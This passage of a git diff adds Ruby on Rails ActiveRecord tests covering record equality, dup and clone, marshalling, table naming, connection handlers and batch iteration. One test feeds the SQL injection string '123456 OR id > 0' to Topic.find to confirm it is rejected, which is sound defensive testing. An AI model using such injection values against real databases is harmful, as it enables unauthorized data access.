+    topic.last_read = nil
+
+    topic.save
+
+    topic = Topic.find(topic.id)
+    assert_nil topic.last_read
+
+    assert_nil topic.approved
+  end
+
+  def test_equality
+    assert_equal Topic.find(1), Topic.find(2).topic
+  end
+
+  def test_find_by_slug
+    assert_equal Topic.find("1-meowmeow"), Topic.find(1)
+  end
+
+  def test_find_by_slug_with_array
+    assert_equal Topic.find([1, 2]), Topic.find(["1-meowmeow", "2-hello"])
+    assert_equal "The Second Topic of the day", Topic.find(["2-hello", "1-meowmeow"]).first.title
+  end
+
+  def test_find_by_slug_with_range
+    assert_equal Topic.where(id: "1-meowmeow".."2-hello"), Topic.where(id: 1..2)
+  end
+
+  def test_equality_of_new_records
+    assert_not_equal Topic.new, Topic.new
+    assert_equal false, Topic.new == Topic.new
+  end
+
+  def test_equality_of_destroyed_records
+    topic_1 = Topic.new(title: "test_1")
+    topic_1.save
+    topic_2 = Topic.find(topic_1.id)
+    topic_1.destroy
+    assert_equal topic_1, topic_2
+    assert_equal topic_2, topic_1
+  end
+
+  def test_equality_with_blank_ids
+    one = Subscriber.new(id: "")
+    two = Subscriber.new(id: "")
+    assert_equal one, two
+  end
+
+  def test_equality_of_relation_and_collection_proxy
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert car.bulbs == Bulb.where(car_id: car.id), "CollectionProxy should be comparable with Relation"
+    assert Bulb.where(car_id: car.id) == car.bulbs, "Relation should be comparable with CollectionProxy"
+  end
+
+  def test_equality_of_relation_and_array
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert Bulb.where(car_id: car.id) == car.bulbs.to_a, "Relation should be comparable with Array"
+  end
+
+  def test_equality_of_relation_and_association_relation
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert_equal Bulb.where(car_id: car.id), car.bulbs.includes(:car), "Relation should be comparable with AssociationRelation"
+    assert_equal car.bulbs.includes(:car), Bulb.where(car_id: car.id), "AssociationRelation should be comparable with Relation"
+  end
+
+  def test_equality_of_collection_proxy_and_association_relation
+    car = Car.create!
+    car.bulbs.build
+    car.save
+
+    assert_equal car.bulbs, car.bulbs.includes(:car), "CollectionProxy should be comparable with AssociationRelation"
+    assert_equal car.bulbs.includes(:car), car.bulbs, "AssociationRelation should be comparable with CollectionProxy"
+  end
+
+  def test_hashing
+    assert_equal [ Topic.find(1) ], [ Topic.find(2).topic ] & [ Topic.find(1) ]
+  end
+
+  def test_successful_comparison_of_like_class_records
+    topic_1 = Topic.create!
+    topic_2 = Topic.create!
+
+    assert_equal [topic_2, topic_1].sort, [topic_1, topic_2]
+  end
+
+  def test_failed_comparison_of_unlike_class_records
+    assert_raises ArgumentError do
+      [ topics(:first), posts(:welcome) ].sort
+    end
+  end
+
+  def test_create_without_prepared_statement
+    topic = Topic.connection.unprepared_statement do
+      Topic.create(title: "foo")
+    end
+
+    assert_equal topic, Topic.find(topic.id)
+  end
+
+  def test_destroy_without_prepared_statement
+    topic = Topic.create(title: "foo")
+    Topic.connection.unprepared_statement do
+      Topic.find(topic.id).destroy
+    end
+
+    assert_nil Topic.find_by_id(topic.id)
+  end
+
+  def test_comparison_with_different_objects
+    topic = Topic.create
+    category = Category.create(name: "comparison")
+    assert_nil topic <=> category
+  end
+
+  def test_comparison_with_different_objects_in_array
+    topic = Topic.create
+    assert_raises(ArgumentError) do
+      [1, topic].sort
+    end
+  end
+
+  def test_readonly_attributes
+    assert_equal Set.new([ "title" , "comments_count" ]), ReadonlyTitlePost.readonly_attributes
+
+    post = ReadonlyTitlePost.create(title: "cannot change this", body: "changeable")
+    post.reload
+    assert_equal "cannot change this", post.title
+
+    post.update(title: "try to change", body: "changed")
+    post.reload
+    assert_equal "cannot change this", post.title
+    assert_equal "changed", post.body
+  end
+
+  def test_unicode_column_name
+    Weird.reset_column_information
+    weird = Weird.create(なまえ: "たこ焼き仮面")
+    assert_equal "たこ焼き仮面", weird.なまえ
+  end
+
+  unless current_adapter?(:PostgreSQLAdapter)
+    def test_respect_internal_encoding
+      old_default_internal = Encoding.default_internal
+      silence_warnings { Encoding.default_internal = "EUC-JP" }
+
+      Weird.reset_column_information
+
+      assert_equal ["EUC-JP"], Weird.columns.map { |c| c.name.encoding.name }.uniq
+    ensure
+      silence_warnings { Encoding.default_internal = old_default_internal }
+      Weird.reset_column_information
+    end
+  end
+
+  def test_non_valid_identifier_column_name
+    weird = Weird.create("a$b" => "value")
+    weird.reload
+    assert_equal "value", weird.send("a$b")
+    assert_equal "value", weird.read_attribute("a$b")
+
+    weird.update_columns("a$b" => "value2")
+    weird.reload
+    assert_equal "value2", weird.send("a$b")
+    assert_equal "value2", weird.read_attribute("a$b")
+  end
+
+  def test_group_weirds_by_from
+    Weird.create("a$b" => "value", :from => "aaron")
+    count = Weird.group(Weird.arel_table[:from]).count
+    assert_equal 1, count["aaron"]
+  end
+
+  def test_attributes_on_dummy_time
+    # Oracle does not have a TIME datatype.
+    return true if current_adapter?(:OracleAdapter)
+
+    with_timezone_config default: :local do
+      attributes = {
+        "bonus_time" => "5:42:00AM"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+    end
+  end
+
+  def test_attributes_on_dummy_time_with_invalid_time
+    # Oracle does not have a TIME datatype.
+    return true if current_adapter?(:OracleAdapter)
+
+    attributes = {
+      "bonus_time" => "not a time"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.bonus_time
+  end
+
+  def test_attributes
+    category = Category.new(name: "Ruby")
+
+    expected_attributes = category.attribute_names.map do |attribute_name|
+      [attribute_name, category.public_send(attribute_name)]
+    end.to_h
+
+    assert_instance_of Hash, category.attributes
+    assert_equal expected_attributes, category.attributes
+  end
+
+  def test_boolean
+    b_nil = Boolean.create("value" => nil)
+    nil_id = b_nil.id
+    b_false = Boolean.create("value" => false)
+    false_id = b_false.id
+    b_true = Boolean.create("value" => true)
+    true_id = b_true.id
+
+    b_nil = Boolean.find(nil_id)
+    assert_nil b_nil.value
+    b_false = Boolean.find(false_id)
+    assert !b_false.value?
+    b_true = Boolean.find(true_id)
+    assert b_true.value?
+  end
+
+  def test_boolean_without_questionmark
+    b_true = Boolean.create("value" => true)
+    true_id = b_true.id
+
+    subclass   = Class.new(Boolean).find true_id
+    superclass = Boolean.find true_id
+
+    assert_equal superclass.read_attribute(:has_fun), subclass.read_attribute(:has_fun)
+  end
+
+  def test_boolean_cast_from_string
+    b_blank = Boolean.create("value" => "")
+    blank_id = b_blank.id
+    b_false = Boolean.create("value" => "0")
+    false_id = b_false.id
+    b_true = Boolean.create("value" => "1")
+    true_id = b_true.id
+
+    b_blank = Boolean.find(blank_id)
+    assert_nil b_blank.value
+    b_false = Boolean.find(false_id)
+    assert !b_false.value?
+    b_true = Boolean.find(true_id)
+    assert b_true.value?
+  end
+
+  def test_new_record_returns_boolean
+    assert_equal false, Topic.new.persisted?
+    assert_equal true, Topic.find(1).persisted?
+  end
+
+  def test_dup
+    topic = Topic.find(1)
+    duped_topic = nil
+    assert_nothing_raised { duped_topic = topic.dup }
+    assert_equal topic.title, duped_topic.title
+    assert !duped_topic.persisted?
+
+    # test if the attributes have been duped
+    topic.title = "a"
+    duped_topic.title = "b"
+    assert_equal "a", topic.title
+    assert_equal "b", duped_topic.title
+
+    # test if the attribute values have been duped
+    duped_topic = topic.dup
+    duped_topic.title.replace "c"
+    assert_equal "a", topic.title
+
+    # test if attributes set as part of after_initialize are duped correctly
+    assert_equal topic.author_email_address, duped_topic.author_email_address
+
+    # test if saved clone object differs from original
+    duped_topic.save
+    assert duped_topic.persisted?
+    assert_not_equal duped_topic.id, topic.id
+
+    duped_topic.reload
+    assert_equal("c", duped_topic.title)
+  end
+
+  DeveloperSalary = Struct.new(:amount)
+  def test_dup_with_aggregate_of_same_name_as_attribute
+    developer_with_aggregate = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+      composed_of :salary, class_name: "BasicsTest::DeveloperSalary", mapping: [%w(salary amount)]
+    end
+
+    dev = developer_with_aggregate.find(1)
+    assert_kind_of DeveloperSalary, dev.salary
+
+    dup = nil
+    assert_nothing_raised { dup = dev.dup }
+    assert_kind_of DeveloperSalary, dup.salary
+    assert_equal dev.salary.amount, dup.salary.amount
+    assert !dup.persisted?
+
+    # test if the attributes have been duped
+    original_amount = dup.salary.amount
+    dev.salary.amount = 1
+    assert_equal original_amount, dup.salary.amount
+
+    assert dup.save
+    assert dup.persisted?
+    assert_not_equal dup.id, dev.id
+  end
+
+  def test_dup_does_not_copy_associations
+    author = authors(:david)
+    assert_not_equal [], author.posts
+
+    author_dup = author.dup
+    assert_equal [], author_dup.posts
+  end
+
+  def test_clone_preserves_subtype
+    clone = nil
+    assert_nothing_raised { clone = Company.find(3).clone }
+    assert_kind_of Client, clone
+  end
+
+  def test_clone_of_new_object_with_defaults
+    developer = Developer.new
+    assert !developer.name_changed?
+    assert !developer.salary_changed?
+
+    cloned_developer = developer.clone
+    assert !cloned_developer.name_changed?
+    assert !cloned_developer.salary_changed?
+  end
+
+  def test_clone_of_new_object_marks_attributes_as_dirty
+    developer = Developer.new name: "Bjorn", salary: 100000
+    assert developer.name_changed?
+    assert developer.salary_changed?
+
+    cloned_developer = developer.clone
+    assert cloned_developer.name_changed?
+    assert cloned_developer.salary_changed?
+  end
+
+  def test_clone_of_new_object_marks_as_dirty_only_changed_attributes
+    developer = Developer.new name: "Bjorn"
+    assert developer.name_changed?            # obviously
+    assert !developer.salary_changed?         # attribute has non-nil default value, so treated as not changed
+
+    cloned_developer = developer.clone
+    assert cloned_developer.name_changed?
+    assert !cloned_developer.salary_changed?  # ... and cloned instance should behave same
+  end
+
+  def test_dup_of_saved_object_marks_attributes_as_dirty
+    developer = Developer.create! name: "Bjorn", salary: 100000
+    assert !developer.name_changed?
+    assert !developer.salary_changed?
+
+    cloned_developer = developer.dup
+    assert cloned_developer.name_changed?     # both attributes differ from defaults
+    assert cloned_developer.salary_changed?
+  end
+
+  def test_dup_of_saved_object_marks_as_dirty_only_changed_attributes
+    developer = Developer.create! name: "Bjorn"
+    assert !developer.name_changed?           # both attributes of saved object should be treated as not changed
+    assert !developer.salary_changed?
+
+    cloned_developer = developer.dup
+    assert cloned_developer.name_changed?     # ... but on cloned object should be
+    assert !cloned_developer.salary_changed?  # ... BUT salary has non-nil default which should be treated as not changed on cloned instance
+  end
+
+  def test_bignum
+    company = Company.find(1)
+    company.rating = 2147483647
+    company.save
+    company = Company.find(1)
+    assert_equal 2147483647, company.rating
+  end
+
+  # TODO: extend defaults tests to other databases!
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_default
+      with_timezone_config default: :local do
+        default = Default.new
+
+        # fixed dates / times
+        assert_equal Date.new(2004, 1, 1), default.fixed_date
+        assert_equal Time.local(2004, 1, 1, 0, 0, 0, 0), default.fixed_time
+
+        # char types
+        assert_equal "Y", default.char1
+        assert_equal "a varchar field", default.char2
+        assert_equal "a text field", default.char3
+      end
+    end
+  end
+
+  def test_auto_id
+    auto = AutoId.new
+    auto.save
+    assert(auto.id > 0)
+  end
+
+  def test_sql_injection_via_find
+    assert_raise(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
+      Topic.find("123456 OR id > 0")
+    end
+  end
+
+  def test_column_name_properly_quoted
+    col_record = ColumnName.new
+    col_record.references = 40
+    assert col_record.save
+    col_record.references = 41
+    assert col_record.save
+    assert_not_nil c2 = ColumnName.find(col_record.id)
+    assert_equal(41, c2.references)
+  end
+
+  def test_quoting_arrays
+    replies = Reply.all.merge!(where: [ "id IN (?)", topics(:first).replies.collect(&:id) ]).to_a
+    assert_equal topics(:first).replies.size, replies.size
+
+    replies = Reply.all.merge!(where: [ "id IN (?)", [] ]).to_a
+    assert_equal 0, replies.size
+  end
+
+  def test_quote
+    author_name = "\\ \001 ' \n \\n \""
+    topic = Topic.create("author_name" => author_name)
+    assert_equal author_name, Topic.find(topic.id).author_name
+  end
+
+  def test_toggle_attribute
+    assert !topics(:first).approved?
+    topics(:first).toggle!(:approved)
+    assert topics(:first).approved?
+    topic = topics(:first)
+    topic.toggle(:approved)
+    assert !topic.approved?
+    topic.reload
+    assert topic.approved?
+  end
+
+  def test_reload
+    t1 = Topic.find(1)
+    t2 = Topic.find(1)
+    t1.title = "something else"
+    t1.save
+    t2.reload
+    assert_equal t1.title, t2.title
+  end
+
+  def test_switching_between_table_name
+    k = Class.new(Joke)
+
+    assert_difference("GoodJoke.count") do
+      k.table_name = "cold_jokes"
+      k.create
+
+      k.table_name = "funny_jokes"
+      k.create
+    end
+  end
+
+  def test_clear_cash_when_setting_table_name
+    original_table_name = Joke.table_name
+
+    Joke.table_name = "funny_jokes"
+    before_columns = Joke.columns
+    before_seq = Joke.sequence_name
+
+    Joke.table_name = "cold_jokes"
+    after_columns = Joke.columns
+    after_seq = Joke.sequence_name
+
+    assert_not_equal before_columns, after_columns
+    assert_not_equal before_seq, after_seq unless before_seq.nil? && after_seq.nil?
+  ensure
+    Joke.table_name = original_table_name
+  end
+
+  def test_dont_clear_sequence_name_when_setting_explicitly
+    k = Class.new(Joke)
+    k.sequence_name = "black_jokes_seq"
+    k.table_name = "cold_jokes"
+    before_seq = k.sequence_name
+
+    k.table_name = "funny_jokes"
+    after_seq = k.sequence_name
+
+    assert_equal before_seq, after_seq unless before_seq.nil? && after_seq.nil?
+  end
+
+  def test_dont_clear_inheritance_column_when_setting_explicitly
+    k = Class.new(Joke)
+    k.inheritance_column = "my_type"
+    before_inherit = k.inheritance_column
+
+    k.reset_column_information
+    after_inherit = k.inheritance_column
+
+    assert_equal before_inherit, after_inherit unless before_inherit.blank? && after_inherit.blank?
+  end
+
+  def test_set_table_name_symbol_converted_to_string
+    k = Class.new(Joke)
+    k.table_name = :cold_jokes
+    assert_equal "cold_jokes", k.table_name
+  end
+
+  def test_quoted_table_name_after_set_table_name
+    klass = Class.new(ActiveRecord::Base)
+
+    klass.table_name = "foo"
+    assert_equal "foo", klass.table_name
+    assert_equal klass.connection.quote_table_name("foo"), klass.quoted_table_name
+
+    klass.table_name = "bar"
+    assert_equal "bar", klass.table_name
+    assert_equal klass.connection.quote_table_name("bar"), klass.quoted_table_name
+  end
+
+  def test_set_table_name_with_inheritance
+    k = Class.new(ActiveRecord::Base)
+    def k.name; "Foo"; end
+    def k.table_name; super + "ks"; end
+    assert_equal "foosks", k.table_name
+  end
+
+  def test_sequence_name_with_abstract_class
+    ak = Class.new(ActiveRecord::Base)
+    ak.abstract_class = true
+    k = Class.new(ak)
+    k.table_name = "projects"
+    orig_name = k.sequence_name
+    skip "sequences not supported by db" unless orig_name
+    assert_equal k.reset_sequence_name, orig_name
+  end
+
+  def test_count_with_join
+    res = Post.count_by_sql "SELECT COUNT(*) FROM posts LEFT JOIN comments ON posts.id=comments.post_id WHERE posts.#{QUOTED_TYPE} = 'Post'"
+    res2 = Post.where("posts.#{QUOTED_TYPE} = 'Post'").joins("LEFT JOIN comments ON posts.id=comments.post_id").count
+    assert_equal res, res2
+
+    res4 = Post.count_by_sql "SELECT COUNT(p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
+    res5 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").count
+    assert_equal res4, res5
+
+    res6 = Post.count_by_sql "SELECT COUNT(DISTINCT p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
+    res7 = Post.where("p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id").joins("p, comments co").select("p.id").distinct.count
+    assert_equal res6, res7
+  end
+
+  def test_no_limit_offset
+    assert_nothing_raised do
+      Developer.all.merge!(offset: 2).to_a
+    end
+  end
+
+  def test_find_last
+    last = Developer.last
+    assert_equal last, Developer.all.merge!(order: "id desc").first
+  end
+
+  def test_last
+    assert_equal Developer.all.merge!(order: "id desc").first, Developer.last
+  end
+
+  def test_all
+    developers = Developer.all
+    assert_kind_of ActiveRecord::Relation, developers
+    assert_equal Developer.all, developers
+  end
+
+  def test_all_with_conditions
+    assert_equal Developer.all.merge!(order: "id desc").to_a, Developer.order("id desc").to_a
+  end
+
+  def test_find_ordered_last
+    last = Developer.all.merge!(order: "developers.salary ASC").last
+    assert_equal last, Developer.all.merge!(order: "developers.salary ASC").to_a.last
+  end
+
+  def test_find_reverse_ordered_last
+    last = Developer.all.merge!(order: "developers.salary DESC").last
+    assert_equal last, Developer.all.merge!(order: "developers.salary DESC").to_a.last
+  end
+
+  def test_find_multiple_ordered_last
+    last = Developer.all.merge!(order: "developers.name, developers.salary DESC").last
+    assert_equal last, Developer.all.merge!(order: "developers.name, developers.salary DESC").to_a.last
+  end
+
+  def test_find_keeps_multiple_order_values
+    combined = Developer.all.merge!(order: "developers.name, developers.salary").to_a
+    assert_equal combined, Developer.all.merge!(order: ["developers.name", "developers.salary"]).to_a
+  end
+
+  def test_find_keeps_multiple_group_values
+    combined = Developer.all.merge!(group: "developers.name, developers.salary, developers.id, developers.created_at, developers.updated_at, developers.created_on, developers.updated_on").to_a
+    assert_equal combined, Developer.all.merge!(group: ["developers.name", "developers.salary", "developers.id", "developers.created_at", "developers.updated_at", "developers.created_on", "developers.updated_on"]).to_a
+  end
+
+  def test_find_symbol_ordered_last
+    last = Developer.all.merge!(order: :salary).last
+    assert_equal last, Developer.all.merge!(order: :salary).to_a.last
+  end
+
+  def test_abstract_class_table_name
+    assert_nil AbstractCompany.table_name
+  end
+
+  def test_find_on_abstract_base_class_doesnt_use_type_condition
+    old_class = LooseDescendant
+    Object.send :remove_const, :LooseDescendant
+
+    descendant = old_class.create! first_name: "bob"
+    assert_not_nil LoosePerson.find(descendant.id), "Should have found instance of LooseDescendant when finding abstract LoosePerson: #{descendant.inspect}"
+  ensure
+    unless Object.const_defined?(:LooseDescendant)
+      Object.const_set :LooseDescendant, old_class
+    end
+  end
+
+  def test_assert_queries
+    query = lambda { ActiveRecord::Base.connection.execute "select count(*) from developers" }
+    assert_queries(2) { 2.times { query.call } }
+    assert_queries 1, &query
+    assert_no_queries { assert true }
+  end
+
+  def test_benchmark_with_log_level
+    original_logger = ActiveRecord::Base.logger
+    log = StringIO.new
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+    ActiveRecord::Base.logger.level = Logger::WARN
+    ActiveRecord::Base.benchmark("Debug Topic Count", level: :debug) { Topic.count }
+    ActiveRecord::Base.benchmark("Warn Topic Count",  level: :warn)  { Topic.count }
+    ActiveRecord::Base.benchmark("Error Topic Count", level: :error) { Topic.count }
+    assert_no_match(/Debug Topic Count/, log.string)
+    assert_match(/Warn Topic Count/, log.string)
+    assert_match(/Error Topic Count/, log.string)
+  ensure
+    ActiveRecord::Base.logger = original_logger
+  end
+
+  def test_benchmark_with_use_silence
+    original_logger = ActiveRecord::Base.logger
+    log = StringIO.new
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+    ActiveRecord::Base.logger.level = Logger::DEBUG
+    ActiveRecord::Base.benchmark("Logging", level: :debug, silence: false)  { ActiveRecord::Base.logger.debug "Quiet" }
+    assert_match(/Quiet/, log.string)
+  ensure
+    ActiveRecord::Base.logger = original_logger
+  end
+
+  def test_clear_cache!
+    # preheat cache
+    c1 = Post.connection.schema_cache.columns("posts")
+    ActiveRecord::Base.clear_cache!
+    c2 = Post.connection.schema_cache.columns("posts")
+    c1.each_with_index do |v, i|
+      assert_not_same v, c2[i]
+    end
+    assert_equal c1, c2
+  end
+
+  def test_current_scope_is_reset
+    Object.const_set :UnloadablePost, Class.new(ActiveRecord::Base)
+    UnloadablePost.send(:current_scope=, UnloadablePost.all)
+
+    UnloadablePost.unloadable
+    klass = UnloadablePost
+    assert_not_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, klass)
+    ActiveSupport::Dependencies.remove_unloadable_constants!
+    assert_nil ActiveRecord::Scoping::ScopeRegistry.value_for(:current_scope, klass)
+  ensure
+    Object.class_eval { remove_const :UnloadablePost } if defined?(UnloadablePost)
+  end
+
+  def test_marshal_round_trip
+    expected = posts(:welcome)
+    marshalled = Marshal.dump(expected)
+    actual = Marshal.load(marshalled)
+
+    assert_equal expected.attributes, actual.attributes
+  end
+
+  def test_marshal_new_record_round_trip
+    marshalled = Marshal.dump(Post.new)
+    post       = Marshal.load(marshalled)
+
+    assert post.new_record?, "should be a new record"
+  end
+
+  def test_marshalling_with_associations
+    post = Post.new
+    post.comments.build
+
+    marshalled = Marshal.dump(post)
+    post       = Marshal.load(marshalled)
+
+    assert_equal 1, post.comments.length
+  end
+
+  if Process.respond_to?(:fork) && !in_memory_db?
+    def test_marshal_between_processes
+      # Define a new model to ensure there are no caches
+      if self.class.const_defined?("Post", false)
+        flunk "there should be no post constant"
+      end
+
+      self.class.const_set("Post", Class.new(ActiveRecord::Base) {
+        has_many :comments
+      })
+
+      rd, wr = IO.pipe
+      rd.binmode
+      wr.binmode
+
+      ActiveRecord::Base.connection_handler.clear_all_connections!
+
+      fork do
+        rd.close
+        post = Post.new
+        post.comments.build
+        wr.write Marshal.dump(post)
+        wr.close
+      end
+
+      wr.close
+      assert Marshal.load rd.read
+      rd.close
+    end
+  end
+
+  def test_marshalling_new_record_round_trip_with_associations
+    post = Post.new
+    post.comments.build
+
+    post = Marshal.load(Marshal.dump(post))
+
+    assert post.new_record?, "should be a new record"
+  end
+
+  def test_attribute_names
+    assert_equal ["id", "type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id", "description"],
+                 Company.attribute_names
+  end
+
+  def test_has_attribute
+    assert Company.has_attribute?("id")
+    assert Company.has_attribute?("type")
+    assert Company.has_attribute?("name")
+    assert_not Company.has_attribute?("lastname")
+    assert_not Company.has_attribute?("age")
+  end
+
+  def test_has_attribute_with_symbol
+    assert Company.has_attribute?(:id)
+    assert_not Company.has_attribute?(:age)
+  end
+
+  def test_attribute_names_on_table_not_exists
+    assert_equal [], NonExistentTable.attribute_names
+  end
+
+  def test_attribute_names_on_abstract_class
+    assert_equal [], AbstractCompany.attribute_names
+  end
+
+  def test_touch_should_raise_error_on_a_new_object
+    company = Company.new(rating: 1, name: "37signals", firm_name: "37signals")
+    assert_raises(ActiveRecord::ActiveRecordError) do
+      company.touch :updated_at
+    end
+  end
+
+  def test_distinct_delegates_to_scoped
+    assert_equal Bird.all.distinct, Bird.distinct
+  end
+
+  def test_table_name_with_2_abstract_subclasses
+    assert_equal "photos", Photo.table_name
+  end
+
+  def test_column_types_typecast
+    topic = Topic.first
+    assert_not_equal "t.lo", topic.author_name
+
+    attrs = topic.attributes.dup
+    attrs.delete "id"
+
+    typecast = Class.new(ActiveRecord::Type::Value) {
+      def cast(value)
+        "t.lo"
+      end
+    }
+
+    types = { "author_name" => typecast.new }
+    topic = Topic.instantiate(attrs, types)
+
+    assert_equal "t.lo", topic.author_name
+  end
+
+  def test_typecasting_aliases
+    assert_equal 10, Topic.select("10 as tenderlove").first.tenderlove
+  end
+
+  def test_slice
+    company = Company.new(rating: 1, name: "37signals", firm_name: "37signals")
+    hash = company.slice(:name, :rating, "arbitrary_method")
+    assert_equal hash[:name], company.name
+    assert_equal hash["name"], company.name
+    assert_equal hash[:rating], company.rating
+    assert_equal hash["arbitrary_method"], company.arbitrary_method
+    assert_equal hash[:arbitrary_method], company.arbitrary_method
+    assert_nil hash[:firm_name]
+    assert_nil hash["firm_name"]
+  end
+
+  def test_slice_accepts_array_argument
+    attrs = {
+      title: "slice",
+      author_name: "@Cohen-Carlisle",
+      content: "accept arrays so I don't have to splat"
+    }.with_indifferent_access
+    topic = Topic.new(attrs)
+    assert_equal attrs, topic.slice(attrs.keys)
+  end
+
+  def test_default_values_are_deeply_dupped
+    company = Company.new
+    company.description << "foo"
+    assert_equal "", Company.new.description
+  end
+
+  test "scoped can take a values hash" do
+    klass = Class.new(ActiveRecord::Base)
+    assert_equal ["foo"], klass.all.merge!(select: "foo").select_values
+  end
+
+  test "connection_handler can be overridden" do
+    klass = Class.new(ActiveRecord::Base)
+    orig_handler = klass.connection_handler
+    new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+    thread_connection_handler = nil
+
+    t = Thread.new do
+      klass.connection_handler = new_handler
+      thread_connection_handler = klass.connection_handler
+    end
+    t.join
+
+    assert_equal klass.connection_handler, orig_handler
+    assert_equal thread_connection_handler, new_handler
+  end
+
+  test "new threads get default the default connection handler" do
+    klass = Class.new(ActiveRecord::Base)
+    orig_handler = klass.connection_handler
+    handler = nil
+
+    t = Thread.new do
+      handler = klass.connection_handler
+    end
+    t.join
+
+    assert_equal handler, orig_handler
+    assert_equal klass.connection_handler, orig_handler
+    assert_equal klass.default_connection_handler, orig_handler
+  end
+
+  test "changing a connection handler in a main thread does not poison the other threads" do
+    klass = Class.new(ActiveRecord::Base)
+    orig_handler = klass.connection_handler
+    new_handler = ActiveRecord::ConnectionAdapters::ConnectionHandler.new
+    after_handler = nil
+    latch1 = Concurrent::CountDownLatch.new
+    latch2 = Concurrent::CountDownLatch.new
+
+    t = Thread.new do
+      klass.connection_handler = new_handler
+      latch1.count_down
+      latch2.wait
+      after_handler = klass.connection_handler
+    end
+
+    latch1.wait
+
+    klass.connection_handler = orig_handler
+    latch2.count_down
+    t.join
+
+    assert_equal after_handler, new_handler
+    assert_equal orig_handler, klass.connection_handler
+  end
+
+  # Note: This is a performance optimization for Array#uniq and Hash#[] with
+  # AR::Base objects. If the future has made this irrelevant, feel free to
+  # delete this.
+  test "records without an id have unique hashes" do
+    assert_not_equal Post.new.hash, Post.new.hash
+  end
+
+  test "records of different classes have different hashes" do
+    assert_not_equal Post.new(id: 1).hash, Developer.new(id: 1).hash
+  end
+
+  test "resetting column information doesn't remove attribute methods" do
+    topic = topics(:first)
+
+    assert_not topic.id_changed?
+
+    Topic.reset_column_information
+
+    assert_not topic.id_changed?
+  end
+
+  test "ignored columns are not present in columns_hash" do
+    cache_columns = Developer.connection.schema_cache.columns_hash(Developer.table_name)
+    assert_includes cache_columns.keys, "first_name"
+    assert_not_includes Developer.columns_hash.keys, "first_name"
+  end
+
+  test "ignored columns have no attribute methods" do
+    refute Developer.new.respond_to?(:first_name)
+    refute Developer.new.respond_to?(:first_name=)
+    refute Developer.new.respond_to?(:first_name?)
+  end
+
+  test "ignored columns don't prevent explicit declaration of attribute methods" do
+    assert Developer.new.respond_to?(:last_name)
+    assert Developer.new.respond_to?(:last_name=)
+    assert Developer.new.respond_to?(:last_name?)
+  end
+end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
new file mode 100644
index 0000000000..53c1e61ad1
--- /dev/null
+++ b/activerecord/test/cases/batches_test.rb
@@ -0,0 +1,676 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/comment"
+require "models/post"
+require "models/subscriber"
+
+class EachTest < ActiveRecord::TestCase
+  fixtures :posts, :subscribers
+
+  def setup
+    @posts = Post.order("id asc")
+    @total = Post.count
+    Post.count("id") # preheat arel's table cache
+  end
+
+  def test_each_should_execute_one_query_per_batch
+    assert_queries(@total + 1) do
+      Post.find_each(batch_size: 1) do |post|
+        assert_kind_of Post, post
+      end
+    end
+  end
+
+  def test_each_should_not_return_query_chain_and_execute_only_one_query
+    assert_queries(1) do
+      result = Post.find_each(batch_size: 100000) {}
+      assert_nil result
+    end
+  end
+
+  def test_each_should_return_an_enumerator_if_no_block_is_present
+    assert_queries(1) do
+      Post.find_each(batch_size: 100000).with_index do |post, index|
+        assert_kind_of Post, post
+        assert_kind_of Integer, index
+      end
+    end
+  end
+
+  def test_each_should_return_a_sized_enumerator
+    assert_equal 11, Post.find_each(batch_size: 1).size
+    assert_equal 5, Post.find_each(batch_size:  2, start: 7).size
+    assert_equal 11, Post.find_each(batch_size: 10_000).size
+  end
+
+  def test_each_enumerator_should_execute_one_query_per_batch
+    assert_queries(@total + 1) do
+      Post.find_each(batch_size: 1).with_index do |post, index|
+        assert_kind_of Post, post
+        assert_kind_of Integer, index
+      end
+    end
+  end
+
+  def test_each_should_raise_if_select_is_set_without_id
+    assert_raise(ArgumentError) do
+      Post.select(:title).find_each(batch_size: 1) { |post|
+        flunk "should not call this block"
+      }
+    end
+  end
+
+  def test_each_should_execute_if_id_is_in_select
+    assert_queries(6) do
+      Post.select("id, title, type").find_each(batch_size: 2) do |post|
+        assert_kind_of Post, post
+      end
+    end
+  end
+
+  test "find_each should honor limit if passed a block" do
+    limit = @total - 1
+    total = 0
+
+    Post.limit(limit).find_each do |post|
+      total += 1
+    end
+
+    assert_equal limit, total
+  end
+
+  test "find_each should honor limit if no block is passed" do
+    limit = @total - 1
+    total = 0
+
+    Post.limit(limit).find_each.each do |post|
+      total += 1
+    end
+
+    assert_equal limit, total
+  end
+
+  def test_warn_if_order_scope_is_set
+    assert_called(ActiveRecord::Base.logger, :warn) do
+      Post.order("title").find_each { |post| post }
+    end
+  end
+
+  def test_logger_not_required
+    previous_logger = ActiveRecord::Base.logger
+    ActiveRecord::Base.logger = nil
+    assert_nothing_raised do
+      Post.order("comments_count DESC").find_each { |post| post }
+    end
+  ensure
+    ActiveRecord::Base.logger = previous_logger
+  end
+
+  def test_find_in_batches_should_return_batches
+    assert_queries(@total + 1) do
+      Post.find_in_batches(batch_size: 1) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  def test_find_in_batches_should_start_from_the_start_option
+    assert_queries(@total) do
+      Post.find_in_batches(batch_size: 1, start: 2) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  def test_find_in_batches_should_end_at_the_finish_option
+    assert_queries(6) do
